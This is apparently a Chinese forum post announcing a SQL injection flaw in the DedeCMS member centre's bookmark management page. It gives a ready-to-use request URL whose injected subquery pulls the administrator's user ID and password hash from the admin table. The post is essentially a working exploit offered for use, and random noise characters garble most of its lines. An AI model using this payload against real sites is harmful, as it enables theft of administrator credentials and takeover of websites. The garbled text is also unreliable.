DedeCMS会员中心SQL注射漏洞1 d3 Z' Y9 n: f
需要magic_quotes_gpc = Off* R- N" g N9 d4 k5 m
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.( s' T; C5 x& W& M( h+ u* g; O/ ]
0 ?4 z6 r+ M( t9 o R; x; X) G: X; t
DedeCMS会员中心书签管理SQL注射漏洞* d# o1 D S' [: d0 \7 C7 V; N
成功利用该漏洞可获得管理员密码) w- {$ h1 e0 L( |
. Y3 s7 Z+ |* f# h会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
4 U3 b, h2 Q9 S; G- g 7 G- |" r1 G9 ?; x! S& l
http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
5 Z% E, P% a5 B8 g5 C& z# B3 X |
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59